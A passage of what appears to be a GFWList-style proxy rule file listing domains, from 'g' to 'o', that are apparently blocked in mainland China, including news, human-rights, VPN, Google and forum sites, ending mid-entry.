Network\\n72.52.81.22\\n||gartlive.com\\n||gather.com\\n||gaymap.cc\\n.gaytube.com\\n.gazotube.com\\n||gazotube.com\\n||gcc.org.hk\\n||gclooney.com\\n.gcpnews.com\\n.gdbt.net/forum\\ngdzf.org\\n||geek-art.net\\ngeekerhome.com/2010/03/xixiang-project-cross-gfw\\n||geekmanuals.com\\n!--||genuitec.com\\n.geocities.co.jp\\n.geocities.com/SiliconValley/Circuit/5683/download.html\\nhk.geocities.com\\ngeocities.jp\\n||geohot.com\\n||geometrictools.com\\n||get-digital-help.com\\n.getchu.com\\n||getfoxyproxy.org\\n.getfreedur.com\\n||getgom.com\\n.getlantern.org\\n||getlantern.org\\n.getjetso.com/forum\\ngetiton.com\\n.getsocialscope.com\\ngfw.org.ua\\n.ggssl.com\\n||ggssl.com\\n||ghost.org\\n||ghut.org\\n||giga-web.jp\\n|http://tw.gigacircle.com\\n|http://cn.giganews.com/\\ngigporno.ru\\n||gimpshop.com\\n||girlbanker.com\\n|http://softwaredownload.gitbooks.io/\\n|https://gist.github.com\\n|http://cthlo.github.io/hktv\\n|http://wsgzao.github.io/post/gfw-break\\n||glennhilton.com\\nglobaljihad.net\\nglobalmuseumoncommunism.org\\n||globalrescue.net\\n.globalvoicesonline.org\\n||globalvoicesonline.org\\ngmbd.cn\\n||gmhz.org\\n|http://www.gmiddle.com/\\n|http://www.gmiddle.net/\\n.gmll.org\\n||gnci.org.hk\\n||goagent.biz\\n||goagentplus.com\\ngodfootsteps.org\\n||godfootsteps.org\\ngodsdirectcontact.org.tw\\n.gokbayrak.com\\n||goldbetsports.com\\n|http://www.goldenmelody.com.tw\\n||goldwave.com\\ngongmeng.info\\ngongm.in\\ngongminliliang.com\\n.gongwt.com\\n|http://gongwt.com/\\n.goodreads.com\\n||goodreads.com\\n.goodreaders.com\\n||goodreaders.com\\n.goodtv.com.tw\\n.goodtv.tv\\n||goofind.com\\n.googlesile.com\\n.gopetition.com\\n||gopetition.com\\n||gotw.ca/\\ngrandtrial.org\\n||graphis.ne.jp\\n||s.gravatar.com\\ngreatfirewall.biz\\n||greatfirewallofchina.net\\n.greatfirewallofchina.org\\n||greatfirewallofchina.org\\n.greenparty.org.tw\\n||greenpeace.org\\ngreat-firewall.com\\ngreat-roc.org\\ngreatroc.org\\ngreatzhonghua.org\\n.greenpeace.com.tw\\n.greenvpn.net\\n||greenvpn.net\\ngs-discuss.com\\n||gtricks.com\\nguancha.org\\n.gun-world.net\\n||gutteruncensored.com\\n||gvm.com.tw\\n.gzm.tv\\n||gzone-anime.info\\n\\n!----------------Google----------------\\n||abc.xyz\\n||agoogleaday.com\\n||androidify.com\\n||chromeexperiments.com\\n||chromercise.com\\n||data-vocabulary.org\\n||g.co\\n||ggpht.com\\n||gmail.com\\n||gmodules.com\\n||goo.gl\\n/^https?:\\\\/\\\\/[^\\\\/]+google\\\\.(.*)/\\n!--||google-analytics.com\\n!--||googleadservices.com\\n||googleapis.com\\n||googleartproject.com\\n||googlecode.com\\n||googlecommerce.com\\n||googledomains.com\\n||googleearth.com\\n||googledrive.com\\n||googlegroups.com\\n||googlehosted.com\\n||googlelabs.com\\n||googlemail.com\\n||googleplus.com\\n||googlesource.com\\n!--||googlesyndication.com\\n!--||googletagmanager.com\\n!--||googletagservices.com\\n||googleusercontent.com\\n||googlevideo.com\\n||googlezip.net\\n||groups.google.cn\\n||gvt0.com\\n||gvt1.com\\n||html5rocks.com\\n||nic.google\\n||panoramio.com\\n||polymer-project.org\\n||recaptcha.net\\n||registry.google\\n|http://sipml5.org/\\n!--||www.google\\n!--Youtube CDN\\n||ytimg.com\\n\\n!------------Google App Engine/Appspot-------\\n.appspot.com\\n||appspot.com\\n/^https?:\\\\/\\\\/[^\\\\/]+appspot\\\\.com/\\n\\n!-------------Google ghs-----\\n!-||1024cores.net\\n!-||www.20thingsilearned.com\\n!-||www.3dtin.com\\n!-A\\n!-||abelhadigital.com\\n!-||blog.aegisub.org\\n!-||android-x86.org\\n!-||chrome.angrybirds.com\\n!-||appbrain.com\\n!-||my.architexa.com\\n!-||feeds.arstechnica.com\\n!-||blog.athico.com\\n!-||aurorasoftworks.com\\n!-B\\n!-||www.benjamingolub.com\\n!-||rss.berryreview.com\\n!-||docs.blacktree.com\\n!-||secrets.blacktree.com\\n!-||www.blacktree.com\\n!-||feeds.boingboing.net\\n!-||moblog.bradleyit.com\\n!-||www.buddyrunner.com\\n!-||buzzcantweet.com\\n!-C\\n!-||feeds.cbsnews.com\\nchinaaid.net\\n!-||www.chinesealbumart.com\\n!-||chromeexperiments.com\\n!-||www.clementine-player.org\\n!-||data.clementine-player.org\\n!-||clemesha.org\\n!-||www.cloudgirlfriend.com\\n!-||rss.cnn.com\\n!-||cocoawithlove.com\\n!-||blog.controlspace.org\\n!-D\\n!-||www.dailygyan.com\\n!-||dailytodo.org\\n!-||blog.danmarner.com\\n!-||github.danmarner.com\\n!-||design-seeds.com\\n!-||designers-artists.com\\n!-||feeds.digg.com\\n!-||app.diu.li\\n!-||mail.diyang.org\\n!-||blog.doughellmann.com\\n!-||downforeveryoneorjustme.com\\n!-||droidsecurity.com\\n!-||www.dropmocks.com\\n!-||dumblittleman.com\\n!-||feeds.dzone.com\\n!-E\\nechofon.com\\n!-||echofon.com\\n!-||epc-jav.com\\n!-||everdark.info\\n!-||s.evernote.com\\n!-||evhead.com\\n!-F\\n!-||facilelogin.com\\n!-||*.fatduck.org\\n!-||blog.fdcn.org\\n!-||fftogo.com\\n!-||flightsimtalk.com\\n!-||mclee.foolme.net\\n!-||www.frienddeck.com\\n!-||fringespoilers.com\\n!-||fringetelevision.com\\n!-||funpea.com\\n!-G\\n!-||blog.gatein.org\\n!-||feeds.gawker.com\\n!-||geektang.com\\n!-||geohot.us\\n!-||getaround.com\\n!-||gmer.net\\n!-||www.gmote.org\\n!-||blog.go2web20.net\\n!--||blog.google.org\\n!-||google-melange.com\\n||golang.org\\n!-||fame.gonzolabs.org\\n!-||govecn.org\\n!-||gqueues.com\\n!-||graphycalc.com\\n||greasespot.net\\n!-||blog.growlforwindows.com\\n!-H\\n!-||hcm.com.tw\\n!-||blog.headius.com\\n!-||hogbaysoftware.com\\n!-||blog.hotot.org\\n!-||feeds.howstuffworks.com\\n!-||huhaitai.com\\n!-||blog.humanrightsfirst.org\\n!-I\\n!-||site.icu-project.org\\n!-||igorware.com\\n!-||ihas1337code.com\\n!-||inknouveau.com\\n!-||inote.tw\\n!-||ironhelmet.com\\n!-||iwfwcf.com\\n!-J\\n!-||blog.jangmt.com\\n!-||blog.jayfields.com\\n!-||t.jiecii.com\\n!-||blog.joint.net\\n!-||blog.jsquaredjavascript.com\\n!-||blog.jtbworld.com\\n!-K\\n!-||kathyschwalbe.com\\n!-||tomatovpn.keithmoyer.com\\n!-||www.keithmoyer.com\\n!-||kendalvandyke.com\\n!-||blog.kengao.tw\\n!-||log.keso.cn\\n!-||www.khanacademy.org\\n||www.klip.me\\n!-||usbloadergx.koureio.net\\n!-||blog.kowalczyk.info\\n!-L\\n!-||labyrinth2.com\\n!-||larsgeorge.com\\n!-||blog.lastpass.com\\n!-||docs.latexlab.org\\n!-||leanessays.com\\n!-||blog.lidaobing.info\\n!-||log.lightory.net\\n!-||feeds.limi.net\\n!-||www.liteapplications.com\\n!-||blog.liukangxu.info\\n!-||twitter.liukangxu.info\\n!-||oasisnewsroom.live4ever.us\\n!-||www.lockergnome.com\\n!-||locql.com\\n@@||site.locql.com\\n!-||feeds.loiclemeur.com\\n!-||blog.louisgray.com\\n!-M\\n!-||madebysofa.com\\n!-||mademoisellerobot.com\\n!-||masamixes.com\\n!-||www.metamuse.net\\n!-||blog.metasploit.com\\n!-||milazi.com\\n!-||www.miniweather.com\\n!-||twitter.missiu.com\\n!-||plurktop-button.mmdays.com\\n!-||feeds.mobileread.com\\n!-||www.modernizr.com\\n!-||www.modk.it\\n!-||mytwishirt.com\\n!-N\\n!-||blog.netflix.com\\n!-||blog.nihilogic.dk\\n!-||ntlk.org\\n!-||nvquan.org\\n!-||nogoodatcoding.com\\n!-||blog.notdot.net\\n!-||www.notify.io\\n!-O\\n!-||blog.obvious.com\\n!-||onebigfluke.com\\n!-||overstimulate.com\\n!-P\\n!-||pcgeekblog.com\\n!-||feeds.pdfchm.net\\n!-||feeds.people.com\\n!-||blog.persistent.info\\n!-||chrome.plantsvszombies.com\\n!-||portablesoft.org.ru\\n!-||prasannatech.net\\n!-||talk.news.pts.org.tw\\n!-||python-excel.org\\n!-Q\\n!-R\\n!-||r-chart.com\\n!-||rameshsubramanian.org\\n!-||rapid.pk\\n!-||blog.reddit.com\\n!-||blog.renanse.com\\n!-||robertmao.com\\n!-||www.romeo-foxtrot.com\\n!-S\\n!-||salmiyuck.com\\n!-||samsal.com\\n!-||blog.seeminglee.com\\n!-||blog.sflow.com\\n!-||blog.sigfpe.com\\n!-||simpletext.ws\\n!-||www.skulpt.org\\n!-||rss.slashdot.org\\n!-||snippetsapp.com\\n!-||w.sns.ly\\n!-||www.socialnmobile.com\\n!-||www.socialwhois.com\\n!-||spiritjb.org\\n!-||ssbook.com\\n!-||sshforwarding.com\\n!-||stationeria.com\\n!-||sunjidong.net\\n!-||syniumsoftware.com\\n@@||download.syniumsoftware.com\\n!-T\\n!-||tagxedo.com\\n!-||blog.tatoeba.org\\n!-||www.techfob.com\\n!-||teachparentstech.org\\n!-||the8pen.com\\n!-||theiphonewiki.com\\n!-||blog.thesilentnumber.me\\n!-||thesponty.com\\n!-||theultralinx.com\\n!-||blog.think-async.com\\n!-||tornadoweb.org\\n!-||transparentuptime.com\\n!-||triangulationblog.com\\n!-||blog.tsunanet.net\\n!-||en.tuxero.com\\n!-||twazzup.com\\n!-||tweetswell.com\\n!-||twibes.com\\n!-||art.twgg.org\\n!-||twivert.com\\n!-U\\n|http://ub0.cc\\n!-||jonny.ubuntu-tw.net\\n!-||blog.umonkey.net\\n!-V\\n!-||tp.vbap.com.au\\n!-||www.virtuousrom.com\\n!-||blog.visibotech.com\\n!-W\\n!-||waveprotocol.org\\n!-||www.wavesandbox.com\\n!-||webfee.org.ru\\n!-||blog.webmproject.org\\n!-||webupd8.org\\n!-||www.whatbrowser.org\\n!-||www.wheredoyougo.net\\n!-||willhains.com\\n!-||feeds.wired.com\\n!-||wisemapping.org\\nwozy.in\\n!-||wozy.in/\\n!-||blog.wundercounter.com\\n!-X\\n!-||xdelta.org\\n!-||xiaogaozi.org\\n!-||xilou.us\\n!-||xzy.org.ru\\n!-Y\\n!-||yooper.be\\n!-||tsong.yunxi.net\\n!-Z\\n\\n!-------------Google Minganci-----\\n!--@@||ipv6.google.com\\n\\ngospelherald.com\\n||gospelherald.com\\n|http://hk.gradconnection.com/\\n||grangorz.org\\n||graylog2.org\\ngreatfire.org\\n||greatfire.org\\ngreatfirewallofchina.org\\n||greatroc.tw\\n||gstatic.com\\n.gu-chu-sum.org\\n|http://gu-chu-sum.org\\nguishan.org\\n||guishan.org\\n||gunsamerica.com\\n|http://gvlib.com\\n.gyalwarinpoche.com\\n.gyatsostudio.com\\n\\n!--------------------HH--------------------\\n||h-china.org\\nh1n1china.org\\n.hacken.cc/bbs\\n||hackthatphone.net\\nhahlo.com\\n||hakkatv.org.tw\\n|http://bbs.hanminzu.org/\\n.hanunyi.com\\n|http://ae.hao123.com\\n|http://ar.hao123.com\\n|http://br.hao123.com\\n|http://en.hao123.com\\n|http://id.hao123.com\\n|http://jp.hao123.com\\n|http://ma.hao123.com\\n|http://sa.hao123.com\\n|http://th.hao123.com\\n|http://tw.hao123.com\\n|http://vn.hao123.com\\n||hardsextube.com\\n.harunyahya.com\\n||hasaowall.com\\nhave8.com\\n@@||haygo.com\\n||hdtvb.net\\n||heartyit.com\\n.hecaitou.net\\n||hecaitou.net\\n.hechaji.com\\n||hechaji.com\\n||heeact.edu.tw\\n||helplinfen.com\\n||helloandroid.com\\n||helloqueer.com\\nhellotxt.com\\n||hellotxt.com\\n||htxt.it/\\n.hellouk.org/forum/lofiversion\\n.helpeachpeople.com\\n||helpeachpeople.com\\n.helpzhuling.org\\n\\n!###########--Heroku--##########\\n||date.fm\\n||flightcaster.com\\n||branch.com\\n||awardwinningfjords.com\\n||futureme.org\\n||getcloudapp.com\\n||cl.ly\\n@@||f.cl.ly\\n||getsmartlinks.com\\n||git-scm.com\\n||lesscss.org\\n||list.ly\\n||maxgif.com\\n||overlapr.com\\n||peerpong.com\\n||pose.com\\n!--||rubyinstaller.org\\n||samsoff.es\\n||sendoid.com\\n||speckleapp.com\\n||stuffimreading.net\\n||tomayko.com\\n||twt.fm\\n||views.fm\\n\\nheqinglian.net\\nhere4news.com\\n||heungkongdiscuss.com\\n!--Google employee within Google IP\\n||hexxeh.net\\napp.heywire.com\\n.hgseav.com\\nhidden-advent.org\\n||hidden-advent.org\\nhidecloud.com/blog/2008/07/29/fuck-beijing-olympics.html\\n||hide.me\\n.hidemyass.com\\n||hidemyass.com\\n||hideipvpn.com\\n.hihiforum.com\\n|http://hihiforum.com\\n||hihistory.net\\n.higfw.com\\n||highrockmedia.com\\n||hiitch.com\\n||hikinggfw.org\\n.himalayan-foundation.org\\n.himemix.com\\n||himemix.com\\n.himemix.net\\ntimes.hinet.net\\n.hjclub.info\\n.hk-pub.com/forum\\n|http://hk-pub.com\\n.hk32168.com\\n||hk32168.com\\napp.hkatvnews.com/v3\\nhkbc.net\\n.hkbf.org\\n.hkchurch.org\\nhkday.net\\n.hkdailynews.com.hk/china.php\\n.hkej.com\\n.hkepc.com/forum/viewthread.php?tid=1153322\\nglobal.hkepc.com*forum\\nhkfront.org\\nhkgolden.com\\n.hkgreenradio.org/home\\n.hkheadline.com*blog\\n.hkheadline.com/instantnews\\nhkhkhk.com\\nhkjc.com\\n.hkjp.org\\nhkptu.org\\n.hkreporter.com\\n||hkreporter.com\\n|http://hkupop.hku.hk/\\n.hkwcc.org.hk\\n||hkzone.org\\nhnjhj.com\\n||hnjhj.com\\n||hola.com\\n||hola.org\\nholyspiritspeaks.org\\n||holyspiritspeaks.org\\n||derekhsu.homeip.net\\n|http://homeservershow.com\\n|http://old.honeynet.org/scans/scan31/sub/doug_eric/spam_translation.html\\nhongmeimei.com\\n||hongzhi.li\\nhootsuite.com\\n||hootsuite.com\\n|http://globalrescue.hopto.org/\\nhotpot.hk\\n.hotshame.com\\n||hotspotshield.com\\n||hougaige.com\\n||howtoforge.com\\n.hqcdp.org\\n||hqcdp.org\\n.hrcir.com\\n.hrcchina.org\\n.hrichina.org\\n||hrichina.org\\n.hrw.org\\n||hrw.org\\n||hsjp.net\\n||hsselite.com\\n.htkou.net\\n||htmldog.com\\nhuaglad.com\\n.huanghuagang.org\\n||huanghuagang.org\\n.huaren.us\\n||huaren.us\\nhuaxia-news.com\\nhuaxiabao.org\\nhuaxin.ph\\nhua-yue.net\\n||hugoroy.eu\\n||huhaitai.com\\n||huhamhire.com\\nhumanrightsbriefing.org\\n||hung-ya.com\\n||hungerstrikeforaids.org\\n||huping.net\\n||hutianyi.net\\nhutong9.net\\n||hwayue.org.tw\\n||hwinfo.com\\nhxwq.org\\n||hypeshell.com\\n||hyperrate.com\\n\\n!--------------------II--------------------\\n.i-cable.com\\n||i1.hk\\n||i2p2.de/\\n||i2runner.com\\niask.ca\\n||iask.ca\\niask.bz\\n||iask.bz\\nibiblio.org/pub/packages/ccic\\n||iblogserv-f.net\\nibros.org\\n|http://cn.ibtimes.com\\nblogs.icerocket.com/tag\\n.icij.org\\n||icl-fi.org\\n\\n!--http://furbo.org/2015/01/28/grass-mud-horse/\\n||iconfactory.com\\n\\n||iconpaper.org\\n!-- Google Pages\\n||icu-project.org\\nw.idaiwan.com/forum\\nidemocracy.asia\\n.identi.ca\\n||identi.ca\\n||idiomconnection.com\\n|http://www.idlcoyote.com\\n.idouga.com\\nforum.idsam.com\\n.idv.tw\\nieasynews.net\\n.ied2k.net\\n|http://if.ttt/\\nifanqiang.com\\n.ifanr.com/857\\n.ifcss.org\\n||ifcss.org\\nifjc.org\\n|http://ift.tt\\n||ifreewares.com\\n||igfw.net\\n||ignitedetroit.net\\n||igvita.com\\n||ihakka.net\\n||iicns.com\\n||illusionfactory.com\\n||ilove80.be\\n||im.tv\\n@@||myvlog.im.tv\\n||im88.tw\\n.imagefap.com\\n||imagefap.com\\n||imageflea.com\\nimageshack.us\\n||imagevenue.com\\n||imagezilla.net\\n!--.imdb.com\\n!--|http://imdb.com\\n|http://www.imdb.com/name/nm0482730\\n|http://www.imdb.com/title/tt0819354/\\n.img.ly\\n||img.ly\\n.imkev.com\\n||imkev.com\\n.imlive.com\\nimmigration.gov.tw\\n|http://tech2.in.com/video/\\n||incredibox.fr\\n.initiativesforchina.org\\n.inmediahk.net\\n||inmediahk.net\\n||innermongolia.org\\n.instagram.com\\n||instagram.com\\n||interfaceaddiction.com\\n||internationalrivers.org\\n|http://internet.org/\\ninternetdefenseleague.org\\ninternetfreedom.org\\n!--||interpol.int\\n||internetpopculture.com\\ninxian.com\\n||inxian.com\\n||ipcf.org.tw\\n||iphone4hongkong.com\\n||iphonehacks.com\\n||iphonix.fr\\n||ipicture.ru\\n!--ipobar.com\\n||ippotv.com\\n|https://*.iptorrents.com\\n|https://iptorrents.com\\n||ipvanish.com\\niredmail.org\\n||ironicsoftware.com\\n||ironbigfools.compython.net\\n||ironpython.net\\n.beta.iset.com.tw/forum\\nhttp://beta.iset.com.tw/forum\\nforum.iset.com.tw\\n.islam.org.hk\\n.islamicity.com\\n.isaacmao.com\\n||isaacmao.com\\n||isgreat.org\\n||ismaelan.com\\n||ismprofessional.net\\nisohunt.com\\n||israbox.com\\nblog.istef.info/2007/10/21/myentunnel\\n.istockphoto.com\\nisunaffairs.com\\nisuntv.com\\nitaboo.info\\n||itaboo.info\\ndownload.ithome.com.tw\\nithelp.ithome.com.tw\\n||itshidden.com\\n.itweet.net\\n|http://itweet.net\\n.iu45.com\\n||iuhrdf.org\\n.iverycd.com\\n||lvv2.com\\n||ixquick.com\\niyouport.com\\n||iyouport.com\\n.izaobao.us\\n||gmozomg.izihost.org\\n.izles.net\\n\\n!--------------------JJ--------------------\\n||j.mp\\nblog.jackjia.com\\n||japan-whores.com\\n.javbus.com\\njbtalks.cc\\njbtalks.com\\njbtalks.my\\n.jdwsy.com\\njeanyim.com\\n||jgoodies.com\\n||jiaoyou8.com\\n.jiehua.cz\\n||hk.jiepang.com\\n||tw.jiepang.com\\njieshibaobao.com\\njigong1024.com\\njinbushe.org\\n||jinbushe.org\\nzhao.jinhai.de\\njingpin.org\\n||jingpin.org\\nac.jiruan.net\\n||jitouch.com\\njkforum.net\\n||jma.go.jp\\nresearch.jmsc.hku.hk/social\\n||joachims.org\\n||jobso.tv\\n||joeedelman.com\\n||journalofdemocracy.org\\njpopforum.net\\n||juliereyc.com\\n||junauza.com\\n.junefourth-20.net\\n||junefourth-20.net\\njustfreevpn.com\\njusttristan.com\\njuyuange.org\\njuziyue.com\\n||juziyue.com\\n||jwmusic.org\\n@@||music.jwmusic.org\\n.jyxf.net\\n\\n!--------------------KK--------------------\\n||ka-wai.com\\n.kagyuoffice.org\\n||kagyuoffice.org\\n||kagyuoffice.org.tw\\n.kaiyuan.de\\n||kakao.com\\nkanzhongguo.com\\nkanzhongguo.eu\\n||karayou.com\\n||kcsoftwares.com\\n.kechara.com\\n.keepandshare.com/visit/visit_page.php?i=688154\\n||keepvid.com\\n.kendincos.net\\n.kenengba.com\\n||kenengba.com\\n||keontech.net\\nwiki.keso.cn/Home\\n.khabdha.org\\n.khmusic.com.tw\\nbbs.kimy.com.tw\\n||kindleren.com\\n.kingdomsalvation.org\\nkinghost.com\\n.kingstone.com.tw\\nkillwall.com\\n||killwall.com\\n.kissbbao.cn\\n|http://kiwi.kz\\n||kmt.org.tw\\n.knowledgerush.com/kr/encyclopedia\\n||kodingen.com\\n@@||www.kodingen.com\\n||kompozer.net\\n||koolsolutions.com\\n.koornk.com\\n||koornk.com\\n.kui.name/event\\n.kuliwang.com\\nkun.im\\n.kurashsultan.com\\n||kurtmunger.com\\nkusocity.com\\n||kwcg.ca\\nkwongwah.com.my\\nkyohk.net\\n.kzeng.info\\n||kzeng.info\\n\\n!--------------------LL--------------------\\nla-forum.org\\nladbrokes.com\\n||labiennale.org\\nlagranepoca.com\\n.lalulalu.com\\n|http://www.lamenhu.com\\nlaogai.org\\n||laogai.org\\nlaomiu.com\\n.laoyang.info\\n|http://laoyang.info\\n||laptoplockdown.com\\n||laqingdan.net\\n||larsgeorge.com\\n||lastfm.es\\nlatelinenews.com\\n.latibet.org\\n||lazarsearlymusic.com\\n||leecheukyan.org\\n|http://leirentv.ca\\nleisurecafe.ca\\n||lematin.ch\\n.lemonde.fr\\n||lenwhite.com\\nlerosua.org\\n||lerosua.org\\nblog.lester850.info\\n||lesoir.be\\nletscorp.net\\n||letscorp.net\\n.liangyou.net\\n||liangyou.net\\nliansi.org\\n.lianyue.net\\n||liaowangxizang.net\\n.liaowangxizang.net\\n||liberal.org.hk\\nlibertytimes.com.tw\\n.lidecheng.com/blog/fucking-gfw\\nlimiao.net\\nabitno.linpie.com/use-ipv6-to-fuck-gfw\\n||line.me\\n.linglingfa.com\\n||lingvodics.com\\n.linkideo.com\\n||api.linksalpha.com\\n||apidocs.linksalpha.com\\n||www.linksalpha.com\\n||help.linksalpha.com\\n||linux-engineer.net\\n||linuxconfig.org\\n||linuxreviews.org\\nlinuxtoy.org/archives/installing-west-chamber-on-ubuntu\\n.lipuman.com\\n||listentoyoutube.com\\nlistorious.com\\n||liudejun.com\\n.liuhanyu.com\\n.liujianshu.com\\n||liujianshu.com\\nliuxiaotong.com\\n||liuxiaotong.com\\nliu.lu\\n.liveleak.com\\n||liveleak.com\\n.livestation.com\\nlivestream.com\\n||livestream.com\\n||livingonline.us\\n||livingstream.com\\n||livevideo.com\\n.livevideo.com\\nlizhizhuangbi.com\\nlkcn.net\\n|http://localpresshk.com\\n||lockdown.com\\n||lockestek.com\\nlogbot.net\\n||logiqx.com\\n||logmike.com\\n.longhair.hk\\n||longtermly.net\\n.lookatgame.com\\n|http://lookatgame.com\\n||lookingglasstheatre.org\\n||lookpic.com\\n.looktoronto.com\\n.lotsawahouse.org/tibetan-masters/fourteenth-dalai-lama\\n.lotuslight.org.tw\\nhkreporter.loved.hk\\n||lrfz.com\\n.lrip.org\\n|http://lrip.org/\\n.lsd.org.hk\\n||lsd.org.hk\\nlsforum.net\\n||lsm.org\\n||lsmchinese.org\\n||lsmkorean.org\\n.lsmradio.com/rad_archives\\n.ltn.com.tw\\n|http://ltn.com.tw\\n.lupm.org\\n||lupm.org\\n||lushstories.com\\nlvhai.org\\n||lvhai.org\\n\\n!--------------------MM--------------------\\nforum.m-team.cc/forum\\n||mh4u.org\\nm-team.cc/forum\\nwww.macrovpn.com\\n||mad-ar.ch\\n|http://maiplus.com\\n||marc.info\\nmarguerite.su\\n||martincartoons.com\\n.maiio.net\\nmail-archive.com\\n.malaysiakini.com\\n||makemymood.com\\n||marines.mil\\nmarkmail.org*message\\n||martau.com\\n.martsangkagyuofficial.org\\n|http://martsangkagyuofficial.org\\nmaruta.be/forget\\n.marxist.com\\n||marxist.net\\n.marxists.org/chinese\\n!--mashable.com\\n!--||mashable.com\\n||matainja.com\\n||mathiew-badimon.com\\n||matsushimakaede.com\\n|http://maturejp.com\\nmayimayi.com\\n||mcadforums.com\\nmcfog.com\\n.md-t.org\\n||md-t.org\\n.mediafire.com/?\\n.mediafire.com/download\\n||meetup.com\\nmefeedia.com\\n.megaporn.com\\n||megaproxy.com\\n||megarotic.com\\nmegavideo.com\\n||megurineluka.com\\nmeirixiaochao.com\\n||melon-peach.com\\nmemedia.cn\\n.memehk.com\\n||memehk.com\\n.memrijttm.org\\nmerit-times.com.tw\\n.mesotw.com/bbs\\n.metacafe.com\\n||meteorshowersonline.com\\n|http://www.metro.taipei/\\n||metrolife.ca\\n||mgoon.com\\n||mgstage.com\\nmhradio.org\\n|http://michaelanti.com\\n||michaelmarketl.com\\nmiddle-way.net\\n.mihk.hk/forum\\nmihua.org\\n.mimivip.com\\n.mimivv.com\\n.mindrolling.org\\n|http://mindrolling.org\\nminghui.org\\n||minghui.org\\nminghui-a.org\\nminghui-b.org\\nminghui-school.org\\n.mingjinglishi.com\\n||mingjinglishi.com\\nmingjingnews.com\\n||mingjingtimes.com\\nmingpao.com\\n.mingpaocanada.com\\n.mingpaomonthly.com\\nmingpaonews.com\\n.mingpaony.com\\n.mingpaosf.com\\n.mingpaotor.com\\n.mingpaovan.com\\n.mingshengbao.com\\n.ministrybooks.org\\n.minzhuhua.net\\n||minzhuhua.net\\nminzhuzhanxian.com\\nminzhuzhongguo.org\\n||miroguide.com\\nmirrorbooks.com\\nmitbbs.com\\n.mixero.com\\n||mixero.com\\nmixpod.com\\n.mixx.com\\n||mixx.com\\n||mizzmona.com\\n.mk5000.com\\n.mlcool.com\\n||mmaaxx.com\\nplurktop.mmdays.com\\n.mmmca.com\\n||mobatek.net\\n.mobile01.com\\n||mobileways.de\\n.mobypicture.com\\n|http://moby.to\\n||mrdoob.com\\nwiki.moegirl.org\\n||mog.com\\nmolihua.org\\n||mondex.org\\n|http://www.monlamit.org\\nc1522.mooo.com\\n||monitorchina.org\\nbbs.morbell.com\\n||morningsun.org\\n||movabletype.com\\n||moviefap.com\\n||www.moztw.org\\nmp3ye.eu\\n||mp/\\n||mpettis.com\\nmpfinance.com\\nmpinews.com\\nmrtweet.com\\n||mrtweet.com\\nnews.msn.com.tw\\nmsguancha.com\\n||mthruf.com\\n||multiply.com\\nmultiproxy.org\\nforum.mymaji.com\\nmultiupload.com\\n||muouju.com\\n||muselinks.co.jp\\n||muzi.com\\n||muzi.net\\n||mx981.com\\n.my-proxy.com\\nforum.my903.com\\nmyactimes.com\\n||my-addr.com\\n||myaudiocast.com\\n.myav.com.tw/bbs\\n||bbs.mychat.to\\n||mychinamyhome.com\\n.mychinamyhome.com\\n||www.mycould.com\\n||myeclipseide.com\\n.myforum.com.hk\\n||myforum.com.hk\\n||myforum.com.uk\\n.myfreshnet.com\\n||myparagliding.com\\n||mypopescu.com\\nmysinablog.com\\n.myspace.com\\n!--.blogs.myspace.com\\n!--||blogs.myspace.com\\n!--vids.myspace.com/index.cfm?fuseaction=vids.\\n!--viewmorepics.myspace.com\\n\\n!--------------------NN--------------------\\n||naacoalition.org\\nold.nabble.com\\n||naitik.net\\n||namsisi.com\\nnanyang.com\\n||nanyang.com\\n.nanyangpost.com\\n||nanyangpost.com\\n.nanzao.com/sc/hk-macau-tw\\n||jpl.nasa.gov\\n||pds.nasa.gov\\n/^https?:\\\\/\\\\/[^\\\\/]+line\\\\.naver\\\\.jp/\\n||navicat.com\\n.nakido.com\\n||nakido.com\\n.naol.ca\\ncyberghost.natado.com\\n||national-lottery.co.uk\\n||usno.navy.mil\\nnccwatch.org.tw\\n.nch.com.tw\\n.ncn.org\\n||ncn.org\\n||etools.ncol.com\\n.nde.de\\n.ndr.de\\nwww.ned.org\\n||nekoslovakia.net\\nt.neolee.cn\\nnetcolony.com\\nbolin.netfirms.com\\nzh.netlog.com\\nnetme.cc\\nnetworkedblogs.com\\nneverforget8964.org\\nnew-3lunch.net\\n.new-akiba.com\\n.newcenturymc.com\\n|http://newcenturymc.com\\nnewcenturynews.com\\n||newchen.com\\n.newchen.com\\n.newgrounds.com\\nnewlandmagazine.com.au\\nnews100.com.tw\\n.newscn.org\\n||newscn.org\\n||newsminer.com\\nnewspeak.cc/story\\n.newsancai.com\\n||newstapa.org\\n.newtaiwan.com.tw\\nnewtalk.tw\\n||newtalk.tw\\nnewyorktimes.com\\n!--hk*.nextmedia.com\\n!--tw*.nextmedia.com\\n!--static*.nextmedia.com\\n.nextmedia.com\\n||nexton-net.jp\\nnexttv.com.tw\\n||nga.mil\\nngensis.com\\n.nicovideo.jp/watch\\n!--||nicovideo.jp\\n||nighost.org\\nninecommentaries.com\\nnintendium.com\\ntaiwanyes.ning.com\\nusmgtcg.ning.com/forum\\n||niusnews.com\\n||njactb.org\\nnjuice.com\\n||njuice.com\\nnlfreevpn.com\\n!--no-ip.com\\n||nobel.se\\n!--.nobelprize.org\\n!--|http://nobelprize.org\\nnobelprize.org/nobel_prizes/peace/laureates/2010\\nnobodycanstop.us\\n||nobodycanstop.us\\n||nokogiri.org\\n||nokola.com\\n.norbulingka.org\\n||novelasia.com\\n|http://news.now.com/home*\\n||nownews.com\\n.nowtorrents.com\\n.noypf.com\\n||noypf.com\\n||npa.go.jp\\n.nps.gov\\n.nrk.no\\n||nrk.no\\n||nsc.gov.tw\\n.ntd.tv\\n||ntd.tv\\nntdtv.co\\nntdtv.ca\\nntdtv.org\\nntdtv.ru\\n||cbs.ntu.edu.tw\\n.nubiles.net\\n||nuexpo.com\\n||nurgo-software.com\\n.nuvid.com\\nnuzcom.com\\n.nvquan.org\\n.nwtca.org\\n||nyaa.se\\n.nydus.ca\\n||nyt.com\\n||nytco.com\\n|http://nyti.ms/\\n.nytimes.com\\n||nytimes.com\\n||nytimg.com\\nnysingtao.com\\n||nzchinese.net.nz\\n\\n!--------------------OO--------------------\\nobservechina.net\\noclp.hk\\n||october-review.org\\noffbeatchina.com\\nofficeoftibet.com\\n||ogaoga.org\\ntwtr2src.ogaoga.org\\nwww2.ohchr.org/english/bodies/cat/docs/ngos/II_China_41.pdf\\n.oikos.com.tw/v4\\n.oiktv.com\\noizoblog.com\\n.okayfreedom.com\\nold-cat.net\\n||olumpo.com\\n.olympicwatch.org\\nomgili.com\\n||omnitalk.com\\n||omnitalk.org\\ncling.omy.sg\\nforum.omy.sg\\nnews.omy.sg\\nshowbiz.omy.sg\\n||on.cc\\n||onedriv